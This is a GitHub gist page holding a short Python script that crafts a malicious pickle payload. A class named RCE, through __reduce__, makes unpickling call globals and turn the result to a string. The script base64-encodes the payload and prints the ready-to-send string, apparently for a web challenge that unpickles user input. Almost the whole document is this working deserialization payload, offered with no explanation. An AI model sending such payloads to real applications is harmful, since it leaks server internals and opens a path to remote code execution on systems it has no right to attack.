Skip to content

Instantly share code, notes, and snippets.

@Jonoans
Created June 20, 2020 15:13
Show Gist options
  • Save Jonoans/1aee15ff5b7b9faf59b724af39c822a8 to your computer and use it in GitHub Desktop.
Save Jonoans/1aee15ff5b7b9faf59b724af39c822a8 to your computer and use it in GitHub Desktop.
import pickle
import base64
class RCE(object):
def __reduce__(self):
return (globals, () )
class RCEStr(object):
def __reduce__(self):
return (str, (RCE(), ) )
pickle_data = pickle.dumps({'name': RCEStr()})
payload = base64.urlsafe_b64encode(pickle_data)
print(payload.decode('utf-8'))
# Outputs: gASVPAAAAAAAAAB9lIwEbmFtZZSMCGJ1aWx0aW5zlIwDc3RylJOUjAhidWlsdGluc5SMB2dsb2JhbHOUk5QpUpSFlFKUcy4=
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment